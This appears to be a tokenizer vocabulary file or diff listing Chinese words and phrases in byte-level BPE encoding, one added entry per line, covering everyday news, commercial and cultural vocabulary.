+å¹²æ¶ī +å°ijä¸įäºĨ +æĥ³æī¾ +è´¹çİĩ +该éĻ¢ +èŀįåĮĸ +è¿İåIJĪ +è§ĨåIJ¬èĬĤ缮 +æł¼ç¶²ç«Ļ +çľīæ¯Ľ +欢è¿İ大家 +å®¶åºŃæķĻèĤ² +ä¾µèļĢ +ç»Ļä½łä»¬ +è¡Ģ液循çݯ +å¯Ħæīĺ +å°ĸåı« +以ä¸ĭåĩłä¸ª +è¿ĺ以为 +åħ¶ä»ĸçݩ家 +ç¬ijç¬ij +æīĵåIJ¬ +èĩªçĦ¶ç§ijåѦ +åŁºç«Ļ +ä¹Ŀå·ŀ +ä¿Ŀ驾 +ä¿Ŀ驾æĬ¤ +ä¿Ŀ驾æĬ¤èĪª +æĶ¾çľ¼ +çŁ¥åIJįä¼ģä¸ļ +縮 +稽 +æļĩ +使çĶ¨ç¶²è·¯ +é¢ĦçķĻ +大象 +åıijæĺİä¸ĵåĪ© +æĸĩ娱 +éĢłç¦ı +湿润 +éĿ¢æĿ¡ +æ¶Īè´¹åįĩ级 +è®Ĭå¾Ĺ +åĩłåIJį +ä»Ħ +认æ¸ħ +è¿ľæĻ¯ +æıĴ座 +诸侯 +åıĺæĢģ +ç¦ı彩 +è´§æŀ¶ +失æİ§ +ç§»åĬ¨ç«¯ +ä¸Ĭåı¸ +éĢłçº¸ +å¸ĥæľĹ +çĴĩ +åı°åįĹ +åĮĹ京åĨ¬å¥¥ +èĵĿçīĻ +éķ¿çŁŃ +æĬĺå°Ħ +ç»ijæŀ¶ +å¯Ĵåģĩ +è½¬åŁºåĽł +æĢ¥äºİ +æŃ£åĵģ +åħħ滿 +大纲 +æĬĹä½ĵ +è¨ĵç·´ +æĶ¶ç´§ +æ¯Ķè³½ +åħµåĬĽ +æľ¬æĽ¸ +äºĮ代 +æĢ¥è¯Ĭ +æĸĩæ¡Ī +ç»ıåķĨ +æĻ¨æĬ¥ +æ£ĺ +æĢ»ä¹¦è®°åľ¨ +åıĹéĤĢ +äºĶåĽĽ +å²ŃåįĹ +çαåIJĥ +åŁĥå°Ķ +å¿ĥå¢ĥ +è¦ĨçĽĸéĿ¢ +å®ŀåľ¨æĺ¯å¤ª +æł¹åºķ +纷纷表示 +åĹħ +éļıçĿĢæĹ¶éĹ´ +åİĨåı²æĤłä¹ħ +éħī +æĢ»éĺŁ +主é¢ĺæ´»åĬ¨ +éĹ®åį· +é©¿ç«Ļ +æı¡ä½ı +åı¯èĥ½å¯¼èĩ´ +æ°ijéĸĵ +éĸĭåķŁ +ä½Ĩä¸įéĻIJ +ä½Ĩä¸įéĻIJäºİ +åįģéĩĮ +娥 +æįŁèĢĹ +çĸı导 +çݯ氧 +ç¥ŀéĢļ +çαå°Ķ +çαå°Ķåħ° +æľ´å®ŀ +å¿«æĬ¥ +æĶ¶åıĹ +æĪĸ許 +èĥĮéĿ¢ +æĸĩåĮĸä¼łåªĴ +ä¸īåĢĭ +æĶ»åĬ¿ +å®ī举 +å®īä¸ľå°¼ +åĿĩå·² +顾èĻij +éĦŃ +è¿Ļå®¶åħ¬åı¸ +åħ¬åijĬç§° +æıIJä¾Ľä¼ĺè´¨ +稳æŃ¥æİ¨è¿Ľ +å¤įè¯ķ +å°Ĩé¢Ĩ +è°Īèµ· +å¨Ħ +è¿ŀ线 +æ©ŁéĹľ +åºĶçĶ¨åľºæĻ¯ +çĶ»åĥı +è´¢è¿IJ +ä¿Ŀéļª +çĹħçIJĨ +æ¯Ľä¸»å¸Ń +ä¸Ŀ毫ä¸į +çαå¥ĩ +çαå¥ĩèīº +ä¸ĵå®¶ç»Ħ +åij¼åͤ +éĭ¼ +çģ¸ +é¢ĨåħĪåľ°ä½į +æıIJæĭĶ +龸éģĵ +å±±åĿ¡ +èĿİ +沸èħ¾ +该项 +ä»ĬçĶŁ +ä¸Ģç¯ĩæĸĩ竳 +æĸ¹å¼ıè¿Ľè¡Į +é»ij客 +æĶ¹åĬ¨ +主é¡Į +æķ£å¸ĥ +ä»Ģä¹Īåľ°æĸ¹ +åĮĸåIJĪ +åĮĸåIJĪçī© +éĿĻç͵ +æĢ»æĶ¶åħ¥ +å§Ķç»Ħç»ĩ +å§Ķç»Ħç»ĩéĥ¨ +éĿĻæĢģ +èĢģåŃĹåı· +室åıĭ +éĥ½ä¸įæķ¢ +æŀ¶åŃIJ +ç쵿ķı +审è§Ĩ +æĤ£åĦ¿ +山寨 +èĸªèµĦ +é©°æı´ +éĥ¨åĪĨåĨħ容 +好似 +æĪIJåijĺåĽ½ +åľ¨æĪijçľĭæĿ¥ +åħ³æ³¨åº¦ +éĻĪæŁIJ +è¿Ļç§įäºĭæĥħ +éĢīå®ļ +ç²¾åŃIJ +å£ģçĶ» +æ±Łæ·® +é«ĺæĺĤ +æł¼åĬĽ +輩 +åѦåłĤ +æĤ¨åIJĮæĦı +ä¸ĢåĪĩéĥ½æĺ¯ +潤 +éĸĥ +å¸ĮæľĽèĩªå·± +ä¿ĺ +æ±Łåİ¿ +æ³¾ +ç§ijæķĻ +æīĵè¿Ľ +ä¸įæħİ +å¯ĴåĨ¬ +æ¸Ķæ°ij +鼷æĸ¯ +主宰 +æĹħ游度åģĩ +ç͵åŃIJéĤ®ä»¶ +æ±Ĥå©ļ +éļİæ®µ +åģ¥èº«æĪ¿ +注æĺİåĩºå¤Ħ +äºĭæķħåıijçĶŁ +级以ä¸Ĭ +åŃĺæ´» +æĸ½èĤ¥ +èľľèľĤ +嵩 +æĮĸæİĺæľº +æĬĹæĭĴ +ä¼łå¯¼ +æĺ¯ä»Ģä¹Īåij¢ +ä¸Ĭå¹´åIJĮæľŁ +建åħļ +çĶŁæħĭ +ä¿Ŀä½ı +款车åŀĭ +人èĦī +éļIJèͽ +失æķĪ +éģ¿åŃķ +ç®Ģ便 +è°¢è°¢ä½ł +å®Īä½ı +æĶ¾æĺł +è¨Īçķ« +çݰ代çµģ +é¤IJ廳 +æķħå±ħ +大大å°ı +大大å°ıå°ı +çī¹åΫ声æĺİ +éģįåıĬ +å¿ĥçIJĨåĴ¨è¯¢ +è³´ +çĮ®è¡Ģ +å·²ç»ıè¾¾åΰ +æīĵæĭĽåij¼ +åıĮè¾¹ +ä¸Ģæĸ¹éĿ¢æĺ¯ +å´ĩå°ļ +éĺ¿å¯Į +éĺ¿å¯Įæ±Ĺ +æĮģæľī人 +è±ģ +é£İçŃĿ +åĬ¨èį¡ +äºĨä¸Ģä¼ļ +äºĨä¸Ģä¼ļåĦ¿ +ä¸ĩ象 +çľĭç͵è§Ĩ +åįģä¸īæĿ¡ +çĮĽçĥĪ +è¦ģä¸įçĦ¶ +太æŀģæĭ³ +å¼ķçĪĨ +ç»ıè¿ĩå¤ļå¹´ +游æĪıéĩĮçļĦ +é¾Ļæ³ī +æłĩéħį +è®ĵä»ĸåĢij +éĢłæŀĹ +åĮºåŁŁæĢ§ +亿ä¸ĩ +æĪĺçķ¥å¸ĥå±Ģ +éķĩæĶ¿åºľ +åĶ®ç¥¨ +çĶŁäº§å·¥èīº +éķĩåħļå§Ķ +ä¸Ńå°ıåŀĭ +æľ¨è̳ +河边 +èĦ¾èĥĥ +欢è¿İæĤ¨ +åıĺå¼Ĥ +缤纷 +åŀĥåľ¾æ¡¶ +辩è¯ģ +车åºĵ +æ¯Ķçİĩ +åħ´æĹº +详ç»ĨäºĨè§£ +å®īå±ħ +çħ§æĸĻ +æĸ¹æīį +赦 +åĨķ +å¥Ķèµ´ +å®Ŀ鸡 +åľºåĿĩ +缮åīįæŃ£åľ¨ +åIJŀåϬ +è¿°èģĮ +æĩµ +å¥ĩçijŀ +ä»įå°Ĩ +èĪī辦 +å·¥åķĨå±Ģ +å¡ijèĥ¶ +åĬŀå®ŀäºĭ +æĸ¹æĸ¹éĿ¢ +æĸ¹æĸ¹éĿ¢éĿ¢ +æĸĩåĮĸèĬĤ +åħ¥èģĮ +鸥 +ç©¿éĢı +ä»¥ä¹łè¿ijå¹³ +åį±éļª +æľ¦èĥ§ +åİĨåı²æĢ§ +æķŀå¼Ģ +ä¼Ļä¼´åħ³ç³» +çŁ¿åĮº +åĽ½éĻħåľ¨çº¿ +ä¼łå¥ĩéĩĮéĿ¢ +è¿ijäºĽ +è¿ijäºĽå¹´ +åĬ£åĬ¿ +æĶ»åĩ»åĬĽ +æĻºéĢł +禧 +çİĭåħĪçĶŁ +éĨ«çĶŁ +åĽĽé¡¹ +å®ŀæĻ¯ +åĪĿåĪĽ +å¿ĥ裡 +æĻ¶ä½ĵ +交éĻħ +让æ¶Īè´¹èĢħ +课æĸĩ +æİĴæ°Ķ +å¹¶ä¸įæĦıåij³ +çĽ¸å£° +第ä¸Ģå±Ĭ +åİŁèijĹ +鼾 +没æľī太大 +补水 +çµģä¼ģä¸ļ +第äºĮæī¹ +åħ¶å®ĥéĹ®é¢ĺ +æİĮéŨ +责任å¿ĥ +é¤IJåħ· +ç¾Ĭæ¯Ľ +没æľīå¿ħè¦ģ +ä¹IJåĽ¢ +è¿ĽåŁİ +ä¸ĢçĤ¹åĦ¿ +身形 +çļ®èĤ¤çĹħ +æĺ± +å¢ŀèĩ³ +è첿ĺİ +æıIJè´¨ +ä½ĵèĤ²åľº +çŃ¹å»º +é¬Ĩ +车çīĮ +éļĶéŁ³ +è´Łè´£åIJĮå¿Ĺ +丰ç¡ķ +ä½ĽéĻĢ +äºīåIJµ +庶 +æ·¡æ°´ +å°ıçĶ·åŃ© +ç§ģèĩª +åĮĸè¿Ľç¨ĭ +æĪĺ士æĿ¥è¯´ +æ²¹èħ» +èĦ±è´«èĩ´å¯Į +æĹ¥å¸¸å·¥ä½ľ +交èŀį +åĨľè´¸ +åĨľè´¸å¸Ĥåľº +åĵĪçĻ» +çĶµè´¹ +èµĺ +åıĮèħ¿ +æĵĶå¿ĥ +æĿ¥å½¢å®¹ +使åij½æĦŁ +éĤ£ä¹Īç®Ģåįķ +èĬĻèĵī +åĢŁæ¬¾äºº +ç§Ģ丽 +è®ĵä»ĸ +严åİīæīĵåĩ» +è³ŀ +æļ« +çħ¤æ°Ķ +çάä¸Ĭ +æ½ĩæ´Ĵ +太ä¹ħ +åij½åIJį为 +è·¯çͱ +è·¯çͱåύ +驯 +æıIJæĹ© +æĬĹåĩ»çĸ«æĥħ +åĩĽ +交åıĭ +éĶĢåĶ®æ¸łéģĵ +毫ä¸įçĬ¹è±« +èIJ¥åľ° +çłĶ究表æĺİ +鱼类 +æį¢å±Ĭ +æİ¡åıĸ +çīĨ +缼å¼Ģ +æ²§æ¡ij +åºŃ审 +ç»ıæŁ¥ +åĬłå¼· +缸æ¯Ķäºİ +ä¸ĵçıŃ +ä½ĵåŀĭ +被害 +被害人 +æĶ¶æ¬¾ +åħ·æľīèī¯å¥½ +é«ĺå³°æľŁ +åģıä½İ +åĦŁ +åĨľä¸ļç§ijæĬĢ +ç®ĬæĥħåĨµ +å¦Ĥæŀľçݩ家 +éķ¿çº¦ +第åħŃå±Ĭ +åħ¬å¼ĢæĭĽèģĺ +åĪĩæĸŃ +迫使 +çĸĹç¨ĭ +第äºĮç§į +ä¸įåħį +å¹²èѦ +çŁ³æ¦´ +åĹ£ +两类 +çε士 +åŁİ乡å±ħæ°ij +æŃ¤é¡¹ +缴è¾ĸ +缴è¾ĸå¸Ĥ +åij¼åºĶ +éĴ¯ +ç¦ıå¾· +æľºèº« +æĵįåľº +æ¿Ĵ临 +人群ä¸Ń +èĤ¡æ°ij +åѽ +æ³ķåħ° +é¨İ +糯米 +æĢ»çļĦ +æĢ»çļĦæĿ¥è¯´ +åħ¸éĽħ +æĸ°éĻĪ +æĸ°éĻĪ代谢 +缮çĿ¹ +é¢Ħè¨Ģ +è·Įçł´ +æĸ°ç¯ĩ竳 +æ¯ĴæĢ§ +åĸĿèĮ¶ +æŁ¥èİ· +亮丽 +çĶŁäº§åķĨ +æĶ¹æĪIJ +为äºĨæĽ´å¥½ +深交 +深交æīĢ +æİĥ +ä¹ĻèĤĿ +泸å·ŀ +åħĪè¿ĽæĬĢæľ¯ +è¾ĵç»Ļ +æķ£æĪ· +æĢĿç»´æĸ¹å¼ı +åºĹ主 +è°ĭæ±Ĥ +游æĪıæĬĢå·§ +ä¸Ģ年级 +çľ¼è§Ĵ +ä¸Ńä»ĭæľºæŀĦ +å·§åIJĪ +éĺ²çĽĹ +导è´Ń +æĪĬ +æĽ´éĢĤåIJĪ +åŁºæľ¬ä¿¡æģ¯ +马ä¸ģ +åħ»æ®ĸåľº +åıįè¿ĩæĿ¥ +æİ¨å´ĩ +å¯ĨåĪĩåħ³æ³¨ +åŁºéĩijç»ıçIJĨ +æĮīéĶ® +åĨħéĥ¨æİ§åζ +æĪIJåijĺåįķä½į +æľ¯è¯Ń +åζæľį +åĪļéľĢ +æ£Ģç´¢ +大大æıIJé«ĺ +åģ¥åº·ç®¡çIJĨ +èĩªæŃ¤ +客æĪ·éľĢæ±Ĥ +丰èĥ¸ +èµ·éĩį +èµ·éĩįæľº +æ¬łç¼º +æ¡ĪåŃIJ +æĥħ人èĬĤ +åħļæł¡ +è¢ľ +该åī§ +è¿·å¤±ä¼łå¥ĩ +ç»ļ丽 +åķª +æĹłç§ģ +é̲ä¸ĢæŃ¥ +第ä¸Ģ竳 +åύåħ· +åĨľèµĦ +確實 +åºıåĪĹ +娱ä¹IJå¹³åı° +èŀįèµĦç§Łèµģ +èµĦæºIJåħ±äº« +èģ½åΰ +æIJŀå¾Ĺ +ç»§ç»Ńä¿ĿæĮģ +åIJ¯èĴĻ +çľº +ä¸Ŀè·¯ +设æĸ½å»ºè®¾ +æİ¥åľ° +æİ¥åľ°æ°Ķ +第ä¸īåŃ£åº¦ +åŁºè°ĥ +åıijéŁ³ +社ä¼ļèµĦæľ¬ +éĽĩ主 +è¿ŀèĥľ +没åķ¥ +廢 +èµ¶èµ´ +æ¼ĶåĮĸ +åı¤æĢª +çİĭçĪ· +é¢ĦåħĪ +å¼Ģåħ· +åĽŀé¦ĸ +åľ°ä¸ĭæ°´ +å°ıç¼ĸä¸Ģèµ· +èµİåĽŀ +åľ°è²Į +åĪĿä¸ī +åı¯ç͍äºİ +éģĹ迹 +è¿Ļæī¹ +èĸªæ°´ +å¿ħçĦ¶ä¼ļ +æ²½ +éįĭ +第ä¸Ģéĥ¨ +åĪĬçī© +å®ŀä¾ĭ +æ¸ħåĩĢ +ä¸ĬèµĽåŃ£ +åĽ¾è¡¨ +éĤ®è½® +åĵªè£¡ +缸è§ģ +æī°ä¹± +æ¯ıæ¯ı +è¿Ļè¾ĪåŃIJ +ç¡«éħ¸ +äºī缸 +溯æºIJ +åĩºä¼Ĺ +çİīçŁ³ +åħ±çĶŁ +æĹ¶éĹ´æ®µ +éĩįè¦ģæĮĩ示 +æ¶Īè´¹éľĢæ±Ĥ +éķ¿éķ¿ +éķ¿éķ¿çļĦ +å®īæĬļ +å¢ŀé«ĺ +æľ¬è½® +äº²çľ¼ +é£İæ³¢ +èĢģå¦Ī +æĶ¶è´¹æłĩåĩĨ +åĨħéĻĨ +æĮ¥åıij +åįĩåѦ +èĥ¸åīį +åģıè¿ľ +纯æ´ģ +æĸ½å·¥åįķä½į +身价 +è´¢åĬĽ +纶 +è£ħçͲ +æĺ¾ç¤ºåύ +毫åįĩ +æ·±çŁ¥ +èĢ¶ç© +è̶ç©Į +è¾ĥéĩı +åľ¨è¿ĩ渡 +åľ¨è¿ĩæ¸¡æľŁ +èĮĹ +ä¸Ģ个æĺŁæľŁ +èĬ· +è´¿èµĤ +æ¿ķ +æĩĤäºĭ +ç§§ +åħħå½ĵ +åĽ½ç«ĭ +èĬ±çĵ£ +éĤĦè¦ģ +åħ¬åľĴ +触åĬ¨ +æ³°å·ŀ +ä»Ģä¹Īæł· +æ»ĭåħ» +è¯ĦåΤ +æĮ¥æīĭ +èĦĪ +姥姥 +è¿IJè´¹ +æ¯ħåĬĽ +å¿ĥæĻº +ä¸įæİĴéϤ +第ä¸ī代 +éĢĢè´§ +æĺŁéĻħ +æ°¸åĪ© +æĬ¤åį« +çıŃ车 +è¨Ģè¡Į +繪 +主åĬ¨æĢ§ +å·¥ç¨ĭè´¨éĩı +éĥĬåĮº +ä¸Ģæłĭ +ä½Ĩå®ŀéĻħä¸Ĭ +ä¸ī大èģĮä¸ļ +åij¼åı« +女åħĴ +è¯ģåΏæĬķèµĦ +èĢĥæħ® +çĤ«èĢĢ +治好 +åĺ¶ +èĥ¤ +åħīä¼ıåıijç͵ +åĩłæŃ¥ +æīĢæīĢ +æīĢæīĢéķ¿ +çħ§æł· +åĵ¥ä»¬ +è¯Ľ +è¿Ļä¸ĢåĪ» +çŁ¿çī©è´¨ +ä¸įå¾Ĺå·² +åIJĮ缣 +ç»Ĩå¾® +è·¯èĻİ +çϾèĬ± +æ··æ²Į +ä¸Ĭæµ·è¯ģåΏ +éĢĢç¨İ +èµŀåı¹ +æī®æ¼Ķ游æĪı +åIJįåĪĹ +åIJįåĪĹåīį +åIJįåĪĹåīįèĮħ +ç±³å°Ķ +ä»Ģä¹ĪåİŁåĽł +å®īåħ¨ä¿Ŀéļľ +ä¸Ģåıªæīĭ +ä¹³ä¸ļ +ä¸įçĶĺ +æĥħåķĨ +æĮ¡ä½ı +åİŁåĽłä¹ĭä¸Ģ +è¿Ļ两天 +çĥĺçĦĻ +豬 +ä½łä»¥ä¸º +没è§ģè¿ĩ +åĵªå®¶å¥½ +åīįä»» +è¿Ľè´§ +éĢĢåĽŀ +串èģĶ +èĩ³æĸ¼ +åĨ°æ·ĩ +åĨ°æ·ĩæ·ĭ +æŁ¥çľĭ详æĥħ +çı¾å¯¦ +æİ¨æµĭ +æİ¥æīĭ +éļ¶å±ŀäºİ +åŁİå¸Ĥ群 +æĿİåħĪçĶŁ +çŁ¿æ³īæ°´ +çī¹ä»· +æĽ´å¤ļ精彩 +ç¨ĭå¼ı +读æĩĤ +å±ıèͽ +奥æŀĹ +奥æŀĹåĮ¹ +奥æŀĹåĮ¹åħĭ +红èĸ¯ +奮 +å®Ŀçİī +網絡 +è²§ +欧å¼ı +çϽç³ĸ +èĩªçĦ¶çģ¾å®³ +åijĬè¯ī她 +å»ļ +çĤ¹åĩ»æŁ¥çľĭ +é£İ湿 +èµĦ产éĩįç»Ħ +ä¹Łä¸įä¾ĭå¤ĸ +åįĬ个å°ıæĹ¶ +åIJ¸å¼ķæĽ´å¤ļ +æĹ¶éĹ´èĬĤçĤ¹ +æĶ¶çº³ +åIJ¸æ¯Ĵ +èĢģ乡 +çIJħ +æľĢçµĤ +åıįæĦŁ +çĶ¨å¾®ä¿¡ +çĶ¨å¾®ä¿¡æī« +éĢŁçİĩ +大çĨĬçĮ« +åı¯æĥ³ +åı¯æĥ³èĢĮ +åı¯æĥ³èĢĮçŁ¥ +åĴ§ +èµ°åħ¥ +碳éħ¸ +èĮĥåĨ° +èĮĥåĨ°åĨ° +被åΤ +积æŀģæİ¨åĬ¨ +足足 +ç²ĴåŃIJ +大å®Ĺ +大å®ĹåķĨåĵģ +ç½ij绾ç§ijæĬĢ +æĽ¼åŁİ +å·²ä¹ħ +å·²ä¹ħçļĦ +秦çļĩ +秦çļĩå²Ľ +ä»»æķĻ +å͝ç¾İ +æ·¡åĮĸ +æ¡ĤèĬ± +çŁ¥è¯ĨåĪĨåŃIJ +æĩĴå¾Ĺ +主åħ¬ +设计çIJĨ念 +賺 +æīĢæıIJä¾Ľ +æīĢæıIJä¾Ľä¹ĭ +æĶ»åħĭ +åĤ¾ +è¯Ńæ³ķ +åįĥåı¤ +éĸĭæĶ¾ +第ä¸ĢèĬĤ +éĤĦæ²Ĵ +éĢĥçĶŁ +æ³Ĺ +åİ¿å§Ķ书记 +ä½ľèĢħæīĢæľī +çħ½ +ç»ħ +æłħ +æľ´ç´ł +çijķçĸµ +åĮħåĮħ +æ°ij主åħļ +ä¸įè¿ľå¤Ħ +å¥ĩå¼Ĥ +åĺ»åĺ» +æī¼ +ç¿»å¼Ģ +æĢİèĥ½ +éģ´éĢī +è§£éĩĭ +å¹¼ç¨ļ +è¦ģ好好 +è¶´åľ¨ +ç´¢åıĸ +ç»ĪçĶŁ +åħ¨æµģç¨ĭ +éģ©çķ¶ +åįıè°ĥåıijå±ķ +æĬ¥ä»ĩ +ç§ijæĬĢåĽŃ +ä»Ģä¹Īéĥ½ä¸į +æľĢåIJİä¸Ģ次 +ç»Ļ人ä¸Ģç§į +æł¸å®ļ +被åĪĹåħ¥ +æĦıæĥ³ä¸įåΰ +èĢĥæŁ¥ +åľ¨æŃ¤ä¹ĭåīį +æīĵçIJĥ +è¶ĬæĿ¥è¶Ĭå°ij +å®ļå¾ĭ +è¡ĮæĶ¿æľºåħ³ +ä½ıæĪ¿åħ¬ç§¯ +å°ıå§IJå§IJ +ä¸īèı± +修补 +èŀĥèŁ¹ +西çͲ +æĢł +çŃīå¤ļ项 +产ä¸ļéĽĨèģļ +ä»·æł¼ä¸Ĭ涨 +åħ¬åħ±åľºæīĢ +è¢ĭåŃIJ +æĨ§æĨ¬ +çļĦæĸ¹å¼ıæĿ¥ +åĪ°è´¦ +çģ½ +å·´èı² +å·´èı²çī¹ +æ¼Ķä¹ł +èŃ¦ç¤ºæķĻèĤ² +çķıæĥ§ +å¼ķæµģ +æĶ¶æĶ¯ +å±Ĥåĩº +å±Ĥåĩºä¸į +å±Ĥåĩºä¸įç©· +æijĩæ»ļ +辦çIJĨ +纵è§Ĥ +æķijæµİ +å®¶éĥ½çŁ¥éģĵ +åĮ¯ +å°ı鸣 +ä»»åĭĻ +计åħ¥ +ç«ŀéĢī +å¼ĢèįĴæĹ¶æľŁ +åij¨æģ© +åij¨æģ©æĿ¥ +交ç»ĩ +çķ¢æ¥Ń +æł¹æį®èĩªå·± +æĸ°äººçݩ家 +åѵåĮĸåύ +éĩĩæļĸ +å¹³åĿĩæ°´å¹³ +åħ¬å¼Ģ课 +失åĪ© +伺æľį +çĬģ +忽æĤł +主è¦ģéĽĨä¸Ń +æ¤įæłij +æ¯ĹéĤ» +èĩºçģ£ +åĩºåĽ½çķĻåѦ +æĬĹéľĩ +æĥ©æĪĴ +å¹´åºķåīį +åĴ¸éĺ³ +æ°ijå±ħ +大çIJĨçŁ³ +éĿ³ +éķĸ +æ¸ħè¿ľ +è£ħè½½ +èĩĢ +å½±ä¸ļ +å¼ŁåħĦ +æĤ²è§Ĥ +çĿĢçľ¼äºİ +æįįåį« +åī¥å¤º +ç¯Ĩ +å¾Īéķ¿æĹ¶éĹ´ +è¥Ł +第ä¸ĢçϾ +ä¸ĢåĪĨéĴ± +æĸ°éĹ»è®°èĢħ +éķ·æľŁ +æ³ķæĪĺç»ĦåIJĪ +è°ģçŁ¥éģĵ +èħ°éĥ¨ +æ±īåł¡ +åħ¥çĿ¡ +åįĸæİī +æ¶Īè²»èĢħ +æĥ¯ä¾ĭ +æĥ³äºĨ +æĥ³äºĨæĥ³ +èĢģæĹ§å°ıåĮº +ä¼łè¨Ģ +åĪĨæķ°çº¿ +æµģ泪 +ç»Ħç»ĩé¢Ĩ导 +äºļåĨĽ +å¢ŀå̼æľįåĬ¡ +å¾¹ +ä¼¶ +äºĽè®¸ +å¸ĥèݱ +强æĤį +宫廷 +绿èĮ¶ +åĮ¡ +å¾ĪæŃ£å¸¸ +æĺ¥å¤ı +æ¯Ļ +è¯Ħæ¯Ķ +åĩ¡äºĭ +æĬīæĭ© +åĢĴéľī +éĩį度 +åįıä¼ļä¼ļéķ¿ +å¿§èĻij +ä¸ĭä¸Ģç¯ĩ +沪深 +æĪİ +æīĵä»Ĺ +åįĪé¥Ń +å¹´é¾Ħ段 +ä¸ŃåĽ½è¶³çIJĥ +设计æĸ¹æ¡Ī +åºĶçĶ¨æŁ¥çľĭ +é¢ĦæĸĻ +åĹ¡ +ç¥ĸçζ +çļĦä¸Ģåijĺ +æ´Ĺå¹²åĩĢ +åİĨåı²æĸ° +åİĨåı²æĸ°é«ĺ +çĭ¬åħ· +æħĭ度 +æīĵ交 +æīĵ交éģĵ +é»ĦçŁ³ +çĽ¼æľĽ +çī§åľº +转弯 +åįĩåįİ +åĨįä¹Łæ²¡æľī +èĭ±æīį +æĽ´åIJį为 +åĢŁç͍ +çºłéĶĻ +ç»Ŀ对ä¸įä¼ļ +çİĭçīĮ +çĽĨåľ° +失è°ĥ +好象 +é³¥ +ä¿Ŀä¿® +åĽĽä¸ªèĩªä¿¡ +头çļ® +åİŁåīĩ +æĬ¥æ¡Ī +奴éļ¶ +å³Ļ +è°ĥæĸĻ +ä¹Łè¨± +èIJ½åΰ +èIJ½åΰå®ŀ +èIJ½åΰå®ŀå¤Ħ +çĦļçĥ§ +çĶŁæ´»çݯå¢ĥ +åºĶåıĬæĹ¶ +è¶Ĭè¿ĩ +æĦŁè¬Ŀ +æĻ¯å¾· +æĻ¯å¾·éķĩ +çĬĢ +身éĤĬ +ç¨İåĬ¡æĢ»å±Ģ +åĩĢåľŁ +ä¾µåįł +åĬ¨å·¥ +å¹´ä¹ĭ +å¹´ä¹ĭä¹ħ +第äºĮèĬĤ +åĬ¨çī©åĽŃ +第ä¸Ģ书记 +éħļ +çĶŁäº§è®¾å¤ĩ +æŁIJç§įç¨ĭ度 +åľŃ +åĩŃåĢŁçĿĢ +éĺħè§Ī +çϽæ²Ļ +æ²¹çĥŁ +çªģçł´åı£ +åıĹå½±åĵį +åı¯ä»¥æĽ´å¥½ +å³°å̼ +æĿĤè´¨ +宿è¿ģ +çĽĺæ´» +æ¿Ģèµ· +åĦ¿ç§ij +åĿIJèIJ½åľ¨ +æĮªå¨ģ +æµ·å²Ľ +绣绣 +éύ +ä¼ĺäºİ +å°Īå®¶ +ä¸ĢéĤĬ +èIJĬ +äºĨä¸Ģåı£ +æ²ĥå°Ķæ²ĥ +æŃ£å¸¸ä½¿ç͍ +æĻ®éģįåŃĺåľ¨ +丰满 +çĶ»åį· +åºĶæĶ¶ +åºĶæĶ¶è´¦ +åºĶæĶ¶è´¦æ¬¾ +å®Įæķ´çĥŃ +å®Įæķ´çĥŃæ¦ľ +注è§Ĩ +çĨĦ +躬 +éĶĢåĶ®äººåijĺ +è¶ĭåIJij +çĦ¦æĢ¥ +åįģå¹´åīį +ä¼łç»Łäº§ä¸ļ +質éĩı +åĩ¤åĩ°ç½ij +èµĦæºIJæķ´åIJĪ +æ¶Įåħ¥ +æĸĩåĮĸä¼łæĴŃ +çķĮ第ä¸Ģ +æ°´æ³µ +宫殿 +æİ¢å¯» +ä¿®åīª +æĦıè¦ĭ +ç´Ĭä¹± +æĽī +çĻ½è¡£ +èĻİåį« +ç´§æī£ +å¤Ħå¤Ħéķ¿ +åĪĽå»ºå·¥ä½ľ +红æŀ£ +饼干 +äºĨåįĬ天 +ä¼ļå½±åĵįåΰ +çĽ¸ä¿¡å¤§å®¶ +èħ¾é£ŀ +å°±å¦ĤåIJĮ +ä¸ĭéĿ¢å°ıç¼ĸ +æ°ijèIJ¥ç»ıæµİ +æĻ¦ +è£ħæī® +é»ijå¤ľ +常德 +å·¥ä¸ļ大åѦ +æĺİçŁ¥ +éĺŁåijĺ们 +åIJ¬è¯¾ +æ¯ıéļĶ +羣æĺ¯å¤ª +åIJĪä½ľåħ±èµ¢ +çIJĨåıij +æīįå¹² +çľĭèµ·ä¾Ĩ +殿ä¸ĭ +å®īéĺ³ +æīĢ产çĶŁçļĦ +éĽĩä½£ +æĬ¬èµ·å¤´ +æį®æĬ¥éģĵ +éļĨéĩį举è¡Į +交éĶĻ +è¶ħé¢Ŀ +åĮĸçĸĹ +é¡Ĩ +纵深 +çĪ±åĽ½ä¸»ä¹ī +éĻ¢åī¯éĻ¢éķ¿ +讳 +羣æŃ£åģļåΰ +åѤåįķ +èĩªçĦ¶èĢĮ +èĩªçĦ¶èĢĮçĦ¶ +修身 +èĬ¹ +æģ¯æģ¯ +æģ¯æģ¯çĽ¸åħ³ +é©¾æł¡ +æİ©é¥° +æ³½è¿ŀ +æ³½è¿ŀæĸ¯åŁº +举æŃ¢ +管çIJĨä½ĵåζ +åħ¶ä¸Ńä¹ĭä¸Ģ +æĿ¾å¼Ľ +æĭ¦æĪª +åį«åģ¥ +åį«åģ¥å§Ķ +ä»İåݻ年 +åĤ¢ +è´Ń票 +åĽ¾æłĩ +河西 +æ°ijæĶ¿å±Ģ +ç§ģèIJ¥ +å¤ĸåĽ½è¯Ń +干货 +æĵ¦æĭŃ +åľ°ä¸Ń +åľ°ä¸Ńæµ· +æµĵæµĵ +æµĵæµĵçļĦ +å§ĭ建 +å§ĭ建äºİ +ç¶ĵæŃ· +è·¯æ¼Ķ +æļ´é£İ +åŁºè¾ħ +æī¶è´«å·¥ä½ľ +ä¸Ģ缴å¤Ħäºİ +æĥħè¶£ +äºĮåŃ£åº¦ +åİĮæģ¶ +顺åĪ©å®ĮæĪIJ +æŁ¥å°ģ +顶端 +ä¸įåŃķ +ä¸Ģ大åłĨ +被æ·ĺæ±° +æĺ¯ç͍æĿ¥ +æľĢåIJĪéĢĤ +äº®çľ¼ +å¹¶ä¸įæĺ¯å¾Ī +ç§ijçłĶéĻ¢ +ç§ijçłĶéĻ¢æīĢ +ç²Ł +é¢Īéĥ¨ +é»ĺé»ĺåľ° +é«ĺä¸ŃçĶŁ +æĹıèĩªæ²»åİ¿ +æķĻåŃ¦è´¨éĩı +æĪĺçģ« +åĿİåĿ· +æIJŃä¹ĺ +è¯ĹæĦı +åĪijèѦ +åĩºæ±Ĺ +åįģåħŃæĿ¡ +请åıĬæĹ¶ +åĨľä¸ļ大åѦ +èIJ½åı¶ +æĢ»èĢĮè¨Ģ +æĢ»èĢĮè¨Ģä¹ĭ +æĿľåħ° +æĿľåħ°çī¹ +éĻªä½ł +åħ¬æĬ¥ 